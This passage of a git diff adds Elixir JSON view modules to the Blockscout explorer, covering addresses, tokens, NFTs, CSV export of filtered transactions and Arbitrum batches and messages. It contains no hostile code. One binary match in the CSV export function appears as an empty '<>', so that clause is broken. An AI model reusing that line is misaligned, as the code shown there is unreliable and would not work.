b/apps/block_scout_web/lib/block_scout_web/views/api/v2/address_view.ex @@ -0,0 +1,296 @@ +defmodule BlockScoutWeb.API.V2.AddressView do + use BlockScoutWeb, :view + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + alias BlockScoutWeb.{AddressContractView, AddressView} + alias BlockScoutWeb.API.V2.{ApiView, Helper, TokenView} + alias Explorer.{Chain, Market} + alias Explorer.Chain.Address + alias Explorer.Chain.Address.Counters + alias Explorer.Chain.Token.Instance + + @api_true [api?: true] + + def render("message.json", assigns) do + ApiView.render("message.json", assigns) + end + + def render("address.json", %{address: address, conn: conn}) do + prepare_address(address, conn) + end + + def render("token_balances.json", %{token_balances: token_balances}) do + Enum.map(token_balances, &prepare_token_balance/1) + end + + def render("coin_balance.json", %{coin_balance: coin_balance}) do + prepare_coin_balance_history_entry(coin_balance) + end + + def render("coin_balances.json", %{coin_balances: coin_balances, next_page_params: next_page_params}) do + %{"items" => Enum.map(coin_balances, &prepare_coin_balance_history_entry/1), "next_page_params" => next_page_params} + end + + def render("coin_balances_by_day.json", %{coin_balances_by_day: coin_balances_by_day}) do + %{ + :items => Enum.map(coin_balances_by_day, &prepare_coin_balance_history_by_day_entry/1), + :days => + Application.get_env(:block_scout_web, BlockScoutWeb.Chain.Address.CoinBalance)[:coin_balance_history_days] + } + end + + def render("tokens.json", %{tokens: tokens, next_page_params: next_page_params}) do + %{"items" => Enum.map(tokens, &prepare_token_balance(&1, true)), "next_page_params" => next_page_params} + end + + def render("addresses.json", %{ + addresses: addresses, + next_page_params: next_page_params, + exchange_rate: exchange_rate, + total_supply: total_supply + }) do + %{ + items: Enum.map(addresses, &prepare_address_for_list/1), + next_page_params: next_page_params, + exchange_rate: exchange_rate.fiat_value, + total_supply: total_supply && to_string(total_supply) + } + end + + def render("nft_list.json", %{token_instances: token_instances, token: token, next_page_params: next_page_params}) do + %{"items" => Enum.map(token_instances, &prepare_nft(&1, token)), "next_page_params" => next_page_params} + end + + def render("nft_list.json", %{token_instances: token_instances, next_page_params: next_page_params}) do + %{"items" => Enum.map(token_instances, &prepare_nft(&1)), "next_page_params" => next_page_params} + end + + def render("nft_collections.json", %{collections: nft_collections, next_page_params: next_page_params}) do + %{"items" => Enum.map(nft_collections, &prepare_nft_collection(&1)), "next_page_params" => next_page_params} + end + + @doc """ + Prepares an address for display in the addresses list. + + ## Parameters + - address: Address struct containing: + - `:hash` - address hash + - `:fetched_coin_balance` - current coin balance + - `:transactions_count` - number of transactions + + ## Returns + - Map containing: + - `:hash` - address hash + - `:coin_balance` - current coin balance value + - `:transactions_count` - number of transactions as string + - Additional address info fields from Helper.address_with_info/4 + """ + @spec prepare_address_for_list(Address.t()) :: map() + def prepare_address_for_list(address) do + nil + |> Helper.address_with_info(address, address.hash, true) + |> Map.put(:transactions_count, to_string(address.transactions_count)) + |> Map.put(:coin_balance, if(address.fetched_coin_balance, do: address.fetched_coin_balance.value)) + end + + @spec prepare_address(Address.t(), Plug.Conn.t()) :: map() + defp prepare_address(address, conn) do + base_info = Helper.address_with_info(conn, address, address.hash, true) + + balance = address.fetched_coin_balance && address.fetched_coin_balance.value + exchange_rate = Market.get_coin_exchange_rate().fiat_value + + creation_transaction = Address.creation_transaction(address) + creator_hash = creation_transaction && creation_transaction.from_address_hash + creation_transaction_hash = creator_hash && AddressView.transaction_hash(address) + token = address.token && TokenView.render("token.json", %{token: address.token}) + + extended_info = + Map.merge(base_info, %{ + "creator_address_hash" => creator_hash && Address.checksum(creator_hash), + "creation_transaction_hash" => creation_transaction_hash, + "creation_status" => creation_status(address), + "token" => token, + "coin_balance" => balance, + "exchange_rate" => exchange_rate, + "block_number_balance_updated_at" => address.fetched_coin_balance_block_number, + "has_validated_blocks" => Counters.check_if_validated_blocks_at_address(address.hash, @api_true), + "has_logs" => Counters.check_if_logs_at_address(address.hash, @api_true), + "has_tokens" => Counters.check_if_tokens_at_address(address.hash, @api_true), + "has_token_transfers" => Counters.check_if_token_transfers_at_address(address.hash, @api_true), + "watchlist_address_id" => Chain.select_watchlist_address_id(get_watchlist_id(conn), address.hash), + "has_beacon_chain_withdrawals" => Counters.check_if_withdrawals_at_address(address.hash, @api_true) + }) + + extended_info + |> chain_type_fields(%{ + address: address, + creation_transaction_from_address: creation_transaction && creation_transaction.from_address + }) + end + + @spec prepare_token_balance(Chain.Address.TokenBalance.t(), boolean()) :: map() + defp prepare_token_balance(token_balance, fetch_token_instance? \\ false) do + %{ + "value" => token_balance.value, + "token" => TokenView.render("token.json", %{token: token_balance.token}), + "token_id" => token_balance.token_id, + "token_instance" => + if(fetch_token_instance? && token_balance.token_id, + do: + fetch_and_render_token_instance( + token_balance.token_id, + token_balance.token, + token_balance.address_hash, + token_balance + ) + ) + } + end + + def prepare_coin_balance_history_entry(coin_balance) do + %{ + "transaction_hash" => coin_balance.transaction_hash, + "block_number" => coin_balance.block_number, + "delta" => coin_balance.delta, + "value" => coin_balance.value, + "block_timestamp" => coin_balance.block_timestamp + } + end + + def prepare_coin_balance_history_by_day_entry(coin_balance_by_day) do + %{ + "date" => coin_balance_by_day.date, + "value" => coin_balance_by_day.value + } + end + + def get_watchlist_id(conn) do + case current_user(conn) do + %{watchlist_id: wl_id} -> + wl_id + + _ -> + nil + end + end + + defp prepare_nft(nft) do + prepare_nft(nft, nft.token) + end + + defp prepare_nft(nft, token) do + Map.merge( + %{"token_type" => token.type, "value" => value(token.type, nft)}, + TokenView.prepare_token_instance(nft, token) + ) + end + + defp prepare_nft_collection(collection) do + %{ + "token" => TokenView.render("token.json", token: collection.token), + "amount" => string_or_null(collection.distinct_token_instances_count || collection.value), + "token_instances" => + Enum.map(collection.preloaded_token_instances, fn instance -> + prepare_nft_for_collection(collection.token.type, instance) + end) + } + end + + defp prepare_nft_for_collection(token_type, instance) do + Map.merge( + %{"token_type" => token_type, "value" => value(token_type, instance)}, + TokenView.prepare_token_instance(instance, nil) + ) + end + + defp value("ERC-721", _), do: "1" + defp value(_, nft), do: nft.current_token_balance && to_string(nft.current_token_balance.value) + + defp string_or_null(nil), do: nil + defp string_or_null(other), do: to_string(other) + + # TODO think about this approach mb refactor or mark deprecated for example. + # Suggested solution: batch preload + @spec fetch_and_render_token_instance( + Decimal.t(), + Ecto.Schema.belongs_to(Chain.Token.t()) | nil, + Chain.Hash.Address.t(), + Chain.Address.TokenBalance.t() + ) :: map() + def fetch_and_render_token_instance(token_id, token, address_hash, token_balance) do + token_instance = + case Instance.nft_instance_by_token_id_and_token_address( + token_id, + token.contract_address_hash, + @api_true + ) do + # `%{hash: address_hash}` will match with `address_with_info(_, address_hash)` clause in `BlockScoutWeb.API.V2.Helper` + {:ok, token_instance} -> + %Instance{ + token_instance + | owner: %{hash: address_hash}, + owner_address_hash: address_hash, + current_token_balance: token_balance + } + + {:error, :not_found} -> + %Instance{ + token_id: token_id, + metadata: nil, + owner: %Address{hash: address_hash}, + owner_address_hash: address_hash, + current_token_balance: token_balance, + token_contract_address_hash: token.contract_address_hash + } + |> Instance.put_is_unique(token, @api_true) + end + + TokenView.render("token_instance.json", %{ + token_instance: token_instance, + token: token + }) + end + + @spec creation_status(Address.t()) :: :success | :failed | :selfdestructed | nil + defp creation_status(address) do + with true <- Address.smart_contract?(address), + {status, _bytecode} <- AddressContractView.contract_creation_code(address) do + case status do + :ok -> :success + :failed -> :failed + :selfdestructed -> :selfdestructed + end + else + _ -> nil + end + end + + @spec chain_type_fields( + map(), + %{address: Address.t(), creation_transaction_from_address: Address.t()} + ) :: map() + case @chain_type do + :filecoin -> + defp chain_type_fields(result, %{creation_transaction_from_address: creation_transaction_from_address}) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.FilecoinView.put_filecoin_robust_address(result, %{ + address: creation_transaction_from_address, + field_prefix: "creator" + }) + end + + :zilliqa -> + defp chain_type_fields(result, %{address: address}) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ZilliqaView.extend_address_json_response(result, address) + end + + _ -> + defp chain_type_fields(result, _params) do + result + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/advanced_filter_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/advanced_filter_view.ex new file mode 100644 index 000000000000..f8985f4ebd53 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/advanced_filter_view.ex @@ -0,0 +1,191 @@ +defmodule BlockScoutWeb.API.V2.AdvancedFilterView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.{Helper, TokenTransferView, TokenView} + alias Explorer.Chain.{Address, Data, MethodIdentifier, Transaction} + alias Explorer.Market + alias Explorer.Market.MarketHistory + + def render("advanced_filters.json", %{ + advanced_filters: advanced_filters, + decoded_transactions: decoded_transactions, + search_params: %{ + method_ids: method_ids, + tokens: tokens + }, + next_page_params: next_page_params + }) do + %{ + items: + advanced_filters + |> Enum.zip(decoded_transactions) + |> Enum.map(fn {af, decoded_input} -> prepare_advanced_filter(af, decoded_input) end), + search_params: prepare_search_params(method_ids, tokens), + next_page_params: next_page_params + } + end + + def render("methods.json", %{methods: methods}) do + methods + end + + def to_csv_format(advanced_filters) do + exchange_rate = Market.get_coin_exchange_rate() + + date_to_prices = + Enum.reduce(advanced_filters, %{}, fn af, acc -> + date = DateTime.to_date(af.timestamp) + + if Map.has_key?(acc, date) do + acc + else + market_history = MarketHistory.price_at_date(date) + + Map.put( + acc, + date, + {market_history && market_history.opening_price, market_history && market_history.closing_price} + ) + end + end) + + row_names = [ + "TxHash", + "Type", + "MethodId", + "UtcTimestamp", + "FromAddress", + "ToAddress", + "CreatedContractAddress", + "Value", + "TokenContractAddressHash", + "TokenDecimals", + "TokenSymbol", + "BlockNumber", + "Fee", + "CurrentPrice", + "TxDateOpeningPrice", + "TxDateClosingPrice" + ] + + af_lists = + advanced_filters + |> Stream.map(fn advanced_filter -> + method_id = + case advanced_filter.input do + %{bytes: <>} -> + {:ok, method_id} = MethodIdentifier.cast(method_id) + to_string(method_id) + + _ -> + nil + end + + {opening_price, closing_price} = date_to_prices[DateTime.to_date(advanced_filter.timestamp)] + + [ + to_string(advanced_filter.hash), + advanced_filter.type, + method_id, + advanced_filter.timestamp, + Address.checksum(advanced_filter.from_address_hash), + Address.checksum(advanced_filter.to_address_hash), + Address.checksum(advanced_filter.created_contract_address_hash), + decimal_to_string_xsd(advanced_filter.value), + if(advanced_filter.type != "coin_transfer", + do: Address.checksum(advanced_filter.token_transfer.token.contract_address_hash), + else: nil + ), + if(advanced_filter.type != "coin_transfer", + do: decimal_to_string_xsd(advanced_filter.token_transfer.token.decimals), + else: nil + ), + if(advanced_filter.type != "coin_transfer", do: advanced_filter.token_transfer.token.symbol, else: nil), + advanced_filter.block_number, + decimal_to_string_xsd(advanced_filter.fee), + decimal_to_string_xsd(exchange_rate.fiat_value), + decimal_to_string_xsd(opening_price), + decimal_to_string_xsd(closing_price) + ] + end) + + Stream.concat([row_names], af_lists) + end + + defp prepare_advanced_filter(advanced_filter, decoded_input) do + %{ + hash: advanced_filter.hash, + type: advanced_filter.type, + method: + if(advanced_filter.type != "coin_transfer", + do: + Transaction.method_name( + %Transaction{ + to_address: %Address{ + hash: advanced_filter.token_transfer.token.contract_address_hash, + contract_code: "0x" |> Data.cast() |> elem(1) + }, + input: advanced_filter.input + }, + decoded_input + ), + else: + Transaction.method_name( + %Transaction{to_address: advanced_filter.to_address, input: advanced_filter.input}, + decoded_input + ) + ), + from: + Helper.address_with_info( + nil, + advanced_filter.from_address, + advanced_filter.from_address_hash, + false + ), + to: + Helper.address_with_info( + nil, + advanced_filter.to_address, + advanced_filter.to_address_hash, + false + ), + created_contract: + Helper.address_with_info( + nil, + advanced_filter.created_contract_address, + advanced_filter.created_contract_address_hash, + false + ), + value: advanced_filter.value, + total: + if(advanced_filter.type != "coin_transfer", + do: TokenTransferView.prepare_token_transfer_total(advanced_filter.token_transfer), + else: nil + ), + token: + if(advanced_filter.type != "coin_transfer", + do: TokenView.render("token.json", %{token: advanced_filter.token_transfer.token}), + else: nil + ), + timestamp: advanced_filter.timestamp, + block_number: advanced_filter.block_number, + transaction_index: advanced_filter.transaction_index, + internal_transaction_index: advanced_filter.internal_transaction_index, + token_transfer_index: advanced_filter.token_transfer_index, + token_transfer_batch_index: advanced_filter.token_transfer_batch_index, + fee: advanced_filter.fee + } + end + + defp prepare_search_params(method_ids, tokens) do + tokens_map = + Map.new(tokens, fn {contract_address_hash, token} -> + {contract_address_hash, TokenView.render("token.json", %{token: token})} + end) + + %{methods: method_ids, tokens: tokens_map} + end + + defp decimal_to_string_xsd(nil), do: nil + defp decimal_to_string_xsd(decimal), do: Decimal.to_string(decimal, :xsd) +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/api_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/api_view.ex new file mode 100644 index 000000000000..1fde984d4a41 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/api_view.ex @@ -0,0 +1,7 @@ +defmodule BlockScoutWeb.API.V2.ApiView do + def render("message.json", %{message: message}) do + %{ + "message" => message + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/arbitrum_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/arbitrum_view.ex new file mode 100644 index 000000000000..7feb96632540 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/arbitrum_view.ex @@ -0,0 +1,712 @@ +defmodule BlockScoutWeb.API.V2.ArbitrumView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.ApiView + alias BlockScoutWeb.API.V2.Helper, as: APIV2Helper + alias Explorer.Chain.{Block, Hash, Transaction, Wei} + alias Explorer.Chain.Arbitrum.{L1Batch, LifecycleTransaction} + alias Explorer.Chain.Arbitrum.Reader.API.Settlement, as: SettlementReader + + @doc """ + Function to render error\\text responses for GET requests + to `/api/v2/arbitrum/messages/claim/:position` endpoint. + """ + def render("message.json", assigns) do + ApiView.render("message.json", assigns) + end + + @doc """ + Function to render GET requests to `/api/v2/arbitrum/messages/:direction` endpoint. + """ + @spec render(binary(), map()) :: map() | non_neg_integer() + def render("arbitrum_messages.json", %{ + messages: messages, + next_page_params: next_page_params + }) do + messages_out = + messages + |> Enum.map(fn msg -> + %{ + "id" => msg.message_id, + "origination_address_hash" => msg.originator_address, + "origination_transaction_hash" => msg.originating_transaction_hash, + "origination_timestamp" => msg.origination_timestamp, + "origination_transaction_block_number" => msg.originating_transaction_block_number, + "completion_transaction_hash" => msg.completion_transaction_hash, + "status" => msg.status + } + end) + + %{ + items: messages_out, + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/arbitrum/messages/to-rollup` endpoint. + """ + def render("arbitrum_messages.json", %{messages: messages}) do + messages_out = + messages + |> Enum.map(fn msg -> + %{ + "origination_transaction_hash" => msg.originating_transaction_hash, + "origination_timestamp" => msg.origination_timestamp, + "origination_transaction_block_number" => msg.originating_transaction_block_number, + "completion_transaction_hash" => msg.completion_transaction_hash + } + end) + + %{items: messages_out} + end + + @doc """ + Function to render GET requests to `/api/v2/arbitrum/messages/:direction/count` endpoint. + """ + def render("arbitrum_messages_count.json", %{count: count}) do + count + end + + @doc """ + Function to render GET requests to `/api/v2/arbitrum/messages/claim/:message_id` endpoint. + """ + def render("arbitrum_claim_message.json", %{calldata: calldata, address: address}) do + %{ + "calldata" => calldata, + "outbox_address_hash" => address + } + end + + @doc """ + Function to render GET requests to `/api/v2/arbitrum/messages/withdrawals/:transaction_hash` endpoint. + """ + def render("arbitrum_withdrawals.json", %{withdrawals: withdrawals}) do + withdrawals_out = + withdrawals + |> Enum.map(fn withdraw -> + %{ + "id" => withdraw.message_id, + "status" => withdraw.status, + "caller_address_hash" => withdraw.caller, + "destination_address_hash" => withdraw.destination, + "arb_block_number" => withdraw.arb_block_number, + "eth_block_number" => withdraw.eth_block_number, + "l2_timestamp" => withdraw.l2_timestamp, + "callvalue" => Integer.to_string(withdraw.callvalue), + "data" => withdraw.data, + "token" => + case withdraw.token do + %{} -> Map.update!(withdraw.token, :amount, &Integer.to_string/1) + _ -> nil + end, + "completion_transaction_hash" => withdraw.completion_transaction_hash + } + end) + + %{items: withdrawals_out} + end + + @doc """ + Function to render GET requests to `/api/v2/arbitrum/batches/:batch_number` endpoint. + """ + def render("arbitrum_batch.json", %{batch: batch}) do + %{ + "number" => batch.number, + "transactions_count" => batch.transactions_count, + "start_block_number" => batch.start_block, + "end_block_number" => batch.end_block, + "before_acc_hash" => batch.before_acc, + "after_acc_hash" => batch.after_acc + } + |> add_l1_transaction_info(batch) + |> add_da_info(batch) + end + + @doc """ + Function to render GET requests to `/api/v2/arbitrum/batches` endpoint. + """ + def render("arbitrum_batches.json", %{ + batches: batches, + next_page_params: next_page_params + }) do + %{ + items: render_arbitrum_batches(batches), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/arbitrum/batches/committed` endpoint. + """ + def render("arbitrum_batches.json", %{batches: batches}) do + %{items: render_arbitrum_batches(batches)} + end + + @doc """ + Function to render GET requests to `/api/v2/arbitrum/batches/count` endpoint. + """ + def render("arbitrum_batches_count.json", %{count: count}) do + count + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/arbitrum/batches/latest-number` endpoint. + """ + def render("arbitrum_batch_latest_number.json", %{number: number}) do + number + end + + # Transforms a list of L1 batches into a map format for HTTP response. + # + # This function processes a list of Arbitrum L1 batches and converts each batch into + # a map that includes basic batch information and details of the associated + # transaction that committed the batch to L1. + # + # ## Parameters + # - `batches`: A list of `Explorer.Chain.Arbitrum.L1Batch` entries or a list of maps + # with the corresponding fields. + # + # ## Returns + # - A list of maps with detailed information about each batch, formatted for use + # in JSON HTTP responses. + @spec render_arbitrum_batches( + [L1Batch.t()] + | [ + %{ + :number => non_neg_integer(), + :transactions_count => non_neg_integer(), + :start_block => non_neg_integer(), + :end_block => non_neg_integer(), + :batch_container => atom() | nil, + :commitment_transaction => LifecycleTransaction.to_import(), + optional(any()) => any() + } + ] + ) :: [map()] + defp render_arbitrum_batches(batches) do + Enum.map(batches, &render_base_info_for_batch/1) + end + + # Transforms a L1 batch into a map format for HTTP response. + # + # This function processes an Arbitrum L1 batch and converts it into a map that + # includes basic batch information and details of the associated transaction + # that committed the batch to L1. + # + # ## Parameters + # - `batch`: Either an `Explorer.Chain.Arbitrum.L1Batch` entry or a map with + # the corresponding fields. + # + # ## Returns + # - A map with detailed information about the batch, formatted for use in JSON HTTP responses. + @spec render_base_info_for_batch( + L1Batch.t() + | %{ + :number => non_neg_integer(), + :transactions_count => non_neg_integer(), + :start_block => non_neg_integer(), + :end_block => non_neg_integer(), + :batch_container => atom() | nil, + :commitment_transaction => LifecycleTransaction.to_import(), + optional(any()) => any() + } + ) :: map() + def render_base_info_for_batch(batch) do + %{ + "number" => batch.number, + "transactions_count" => batch.transactions_count, + "blocks_count" => batch.end_block - batch.start_block + 1, + "batch_data_container" => batch.batch_container + } + |> add_l1_transaction_info(batch) + end + + @doc """ + Extends the json output with a sub-map containing information related Arbitrum. + + ## Parameters + - `out_json`: a map defining output json which will be extended + - `transaction`: transaction structure containing Arbitrum related data + + ## Returns + A map extended with data related Arbitrum rollup + """ + @spec extend_transaction_json_response(map(), %{ + :__struct__ => Transaction, + optional(:arbitrum_batch) => any(), + optional(:arbitrum_commitment_transaction) => any(), + optional(:arbitrum_confirmation_transaction) => any(), + optional(:arbitrum_message_to_l2) => any(), + optional(:arbitrum_message_from_l2) => any(), + optional(:gas_used_for_l1) => Decimal.t(), + optional(:gas_used) => Decimal.t(), + optional(:gas_price) => Wei.t(), + optional(any()) => any() + }) :: map() + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + arbitrum_info = + %{} + |> extend_with_settlement_info(transaction) + |> extend_if_message(transaction) + |> extend_with_transaction_info(transaction) + + Map.put(out_json, "arbitrum", arbitrum_info) + end + + @doc """ + Extends the json output with a sub-map containing information related Arbitrum. + + ## Parameters + - `out_json`: a map defining output json which will be extended + - `block`: block structure containing Arbitrum related data + + ## Returns + A map extended with data related Arbitrum rollup + """ + @spec extend_block_json_response(map(), %{ + :__struct__ => Block, + optional(:arbitrum_batch) => any(), + optional(:arbitrum_commitment_transaction) => any(), + optional(:arbitrum_confirmation_transaction) => any(), + optional(:send_count) => non_neg_integer(), + optional(:send_root) => Hash.Full.t(), + optional(:l1_block_number) => non_neg_integer(), + optional(any()) => any() + }) :: map() + def extend_block_json_response(out_json, %Block{} = block) do + arbitrum_info = + %{} + |> extend_with_settlement_info(block) + |> extend_with_block_info(block) + + Map.put(out_json, "arbitrum", arbitrum_info) + end + + # Augments an output JSON with settlement-related information such as batch number and L1 transaction details to JSON. + @spec extend_with_settlement_info(map(), %{ + :__struct__ => Block | Transaction, + optional(:arbitrum_batch) => any(), + optional(:arbitrum_commitment_transaction) => any(), + optional(:arbitrum_confirmation_transaction) => any(), + optional(any()) => any() + }) :: map() + defp extend_with_settlement_info(out_json, arbitrum_entity) do + out_json + |> add_l1_transactions_info_and_status(%{ + batch_number: get_batch_number(arbitrum_entity), + commitment_transaction: arbitrum_entity.arbitrum_commitment_transaction, + confirmation_transaction: arbitrum_entity.arbitrum_confirmation_transaction + }) + |> Map.put("batch_data_container", get_batch_data_container(arbitrum_entity)) + |> Map.put("batch_number", get_batch_number(arbitrum_entity)) + end + + # Retrieves the batch number from an Arbitrum block or transaction if the batch + # data is loaded. + @spec get_batch_number(%{ + :__struct__ => Block | Transaction, + optional(:arbitrum_batch) => any(), + optional(any()) => any() + }) :: nil | non_neg_integer() + defp get_batch_number(arbitrum_entity) do + case Map.get(arbitrum_entity, :arbitrum_batch) do + nil -> nil + %Ecto.Association.NotLoaded{} -> nil + value -> value.number + end + end + + # Retrieves the batch data container label from an Arbitrum block or transaction + # if the batch data is loaded. + @spec get_batch_data_container(%{ + :__struct__ => Block | Transaction, + optional(:arbitrum_batch) => any(), + optional(any()) => any() + }) :: nil | String.t() + defp get_batch_data_container(arbitrum_entity) do + case Map.get(arbitrum_entity, :arbitrum_batch) do + nil -> nil + %Ecto.Association.NotLoaded{} -> nil + value -> to_string(value.batch_container) + end + end + + # Augments an output JSON with commit transaction details and its status. + @spec add_l1_transaction_info(map(), %{ + :commitment_transaction => LifecycleTransaction.t() | LifecycleTransaction.to_import(), + optional(any()) => any() + }) :: map() + defp add_l1_transaction_info(out_json, %L1Batch{} = batch) do + l1_transaction = %{commitment_transaction: handle_associated_l1_transactions_properly(batch.commitment_transaction)} + + out_json + |> Map.merge(%{ + "commitment_transaction" => %{ + "hash" => APIV2Helper.get_2map_data(l1_transaction, :commitment_transaction, :hash), + "block_number" => APIV2Helper.get_2map_data(l1_transaction, :commitment_transaction, :block), + "timestamp" => APIV2Helper.get_2map_data(l1_transaction, :commitment_transaction, :ts), + "status" => APIV2Helper.get_2map_data(l1_transaction, :commitment_transaction, :status) + } + }) + end + + defp add_l1_transaction_info(out_json, %{ + commitment_transaction: %{ + hash: hash, + block_number: block_number, + timestamp: ts, + status: status + } + }) do + out_json + |> Map.merge(%{ + "commitment_transaction" => %{ + "hash" => %Hash{byte_count: 32, bytes: hash}, + "block_number" => block_number, + "timestamp" => ts, + "status" => status + } + }) + end + + # Adds data availability (DA) information to the given output JSON based on the batch container type. + # + # This function enriches the output JSON with data availability information based on + # the type of batch container. It handles different DA types, including AnyTrust and + # Celestia, and generates the appropriate DA data for inclusion in the output. + # + # ## Parameters + # - `out_json`: The initial JSON map to be enriched with DA information. + # - `batch`: The batch struct containing information about the rollup batch. + # + # ## Returns + # - An updated JSON map containing the data availability information. + @spec add_da_info(map(), %{ + :__struct__ => L1Batch, + :batch_container => :in_anytrust | :in_celestia | atom() | nil, + :number => non_neg_integer(), + optional(any()) => any() + }) :: map() + defp add_da_info(out_json, %L1Batch{} = batch) do + da_info = + case batch.batch_container do + nil -> %{"batch_data_container" => nil} + :in_anytrust -> generate_anytrust_certificate(batch.number) + :in_celestia -> generate_celestia_da_info(batch.number) + value -> %{"batch_data_container" => to_string(value)} + end + + out_json + |> Map.put("data_availability", da_info) + end + + # Generates an AnyTrust certificate for the specified batch number. + @spec generate_anytrust_certificate(non_neg_integer()) :: map() + defp generate_anytrust_certificate(batch_number) do + out = %{"batch_data_container" => "in_anytrust"} + + da_info = + with raw_info <- SettlementReader.get_da_info_by_batch_number(batch_number), + false <- Enum.empty?(raw_info) do + prepare_anytrust_certificate(raw_info) + else + _ -> %{"data_hash" => nil, "timeout" => nil, "bls_signature" => nil, "signers" => []} + end + + out + |> Map.merge(da_info) + end + + # Prepares an AnyTrust certificate from the given DA information. + # + # This function retrieves the corresponding AnyTrust keyset based on the provided + # DA information, constructs a list of signers and the signers' mask, and assembles + # the certificate data. + # + # ## Parameters + # - `da_info`: A map containing the DA information, including the keyset hash, data + # hash, timeout, aggregated BLS signature, and signers' mask. + # + # ## Returns + # - A map representing the AnyTrust certificate, containing the data hash, data + # availability timeout, aggregated BLS signature, and the list of committee + # members who guaranteed availability of data for the specified timeout. + @spec prepare_anytrust_certificate(map()) :: map() + defp prepare_anytrust_certificate(da_info) do + keyset = SettlementReader.get_anytrust_keyset(da_info["keyset_hash"]) + + signers = + if Enum.empty?(keyset) do + [] + else + signers_mask = da_info["signers_mask"] + + # Matches the signers' mask with the keyset to extract the list of signers. + keyset["pubkeys"] + |> Enum.with_index() + |> Enum.filter(fn {_, index} -> Bitwise.band(signers_mask, Bitwise.bsl(1, index)) != 0 end) + |> Enum.map(fn {pubkey, _} -> pubkey end) + end + + %{ + "data_hash" => da_info["data_hash"], + "timeout" => da_info["timeout"], + "bls_signature" => da_info["bls_signature"], + "signers" => signers + } + end + + # Generates Celestia DA information for the given batch number. + @spec generate_celestia_da_info(non_neg_integer()) :: map() + defp generate_celestia_da_info(batch_number) do + out = %{"batch_data_container" => "in_celestia"} + + da_info = SettlementReader.get_da_info_by_batch_number(batch_number) + + out + |> Map.merge(%{ + "height" => Map.get(da_info, "height"), + "transaction_commitment" => Map.get(da_info, "transaction_commitment") + }) + end + + # Augments an output JSON with commit and confirm transaction details and their statuses. + @spec add_l1_transactions_info_and_status(map(), %{ + optional(:commitment_transaction) => any(), + optional(:confirmation_transaction) => any(), + optional(:batch_number) => any() + }) :: map() + defp add_l1_transactions_info_and_status(out_json, arbitrum_item) + when is_map(arbitrum_item) and + is_map_key(arbitrum_item, :commitment_transaction) and + is_map_key(arbitrum_item, :confirmation_transaction) do + l1_transactions = get_associated_l1_transactions(arbitrum_item) + + out_json + |> Map.merge(%{ + "status" => block_or_transaction_status(arbitrum_item), + "commitment_transaction" => %{ + "hash" => APIV2Helper.get_2map_data(l1_transactions, :commitment_transaction, :hash), + "timestamp" => APIV2Helper.get_2map_data(l1_transactions, :commitment_transaction, :ts), + "status" => APIV2Helper.get_2map_data(l1_transactions, :commitment_transaction, :status) + }, + "confirmation_transaction" => %{ + "hash" => APIV2Helper.get_2map_data(l1_transactions, :confirmation_transaction, :hash), + "timestamp" => APIV2Helper.get_2map_data(l1_transactions, :confirmation_transaction, :ts), + "status" => APIV2Helper.get_2map_data(l1_transactions, :confirmation_transaction, :status) + } + }) + end + + # Extract transaction hash and block number, timestamp, finalization status for + # L1 transactions associated with an Arbitrum rollup entity: transaction or block. + # + # ## Parameters + # - `arbitrum_item`: a short description of a transaction, or block. + # + # ## Returns + # A map containing nesting maps describing corresponding L1 transactions + @spec get_associated_l1_transactions(%{ + optional(:commitment_transaction) => any(), + optional(:confirmation_transaction) => any(), + optional(any()) => any() + }) :: %{ + :commitment_transaction => + nil + | %{ + :hash => nil | binary(), + :block_number => nil | non_neg_integer(), + :ts => nil | DateTime.t(), + :status => nil | :finalized | :unfinalized + }, + :confirmation_transaction => + nil + | %{ + :hash => nil | binary(), + :block_number => nil | non_neg_integer(), + :ts => nil | DateTime.t(), + :status => nil | :finalized | :unfinalized + } + } + defp get_associated_l1_transactions(arbitrum_item) do + [:commitment_transaction, :confirmation_transaction] + |> Enum.reduce(%{}, fn key, l1_transactions -> + Map.put(l1_transactions, key, handle_associated_l1_transactions_properly(Map.get(arbitrum_item, key))) + end) + end + + # Returns details of an associated L1 transaction or nil if not loaded or not available. + @spec handle_associated_l1_transactions_properly(LifecycleTransaction | Ecto.Association.NotLoaded.t() | nil) :: + nil + | %{ + :hash => nil | binary(), + :block => nil | non_neg_integer(), + :ts => nil | DateTime.t(), + :status => nil | :finalized | :unfinalized + } + defp handle_associated_l1_transactions_properly(associated_l1_transaction) do + case associated_l1_transaction do + nil -> nil + %Ecto.Association.NotLoaded{} -> nil + value -> %{hash: value.hash, block: value.block_number, ts: value.timestamp, status: value.status} + end + end + + # Inspects L1 transactions of a rollup block or transaction to determine its status. + # + # ## Parameters + # - `arbitrum_item`: An Arbitrum transaction or block. + # + # ## Returns + # A string with one of predefined statuses + @spec block_or_transaction_status(%{ + optional(:commitment_transaction) => any(), + optional(:confirmation_transaction) => any(), + optional(:batch_number) => any() + }) :: String.t() + defp block_or_transaction_status(arbitrum_item) do + cond do + APIV2Helper.specified?(arbitrum_item.confirmation_transaction) -> "Confirmed on base" + APIV2Helper.specified?(arbitrum_item.commitment_transaction) -> "Sent to base" + not is_nil(arbitrum_item.batch_number) -> "Sealed on rollup" + true -> "Processed on rollup" + end + end + + # Determines if an Arbitrum transaction contains a cross-chain message and extends + # the incoming map with fields related to the cross-chain message to reflect the + # direction of the message, its status and the associated L1 transaction. + # + # ## Parameters + # - `arbitrum_transaction`: An Arbitrum transaction. + # + # ## Returns + # - A map extended with fields 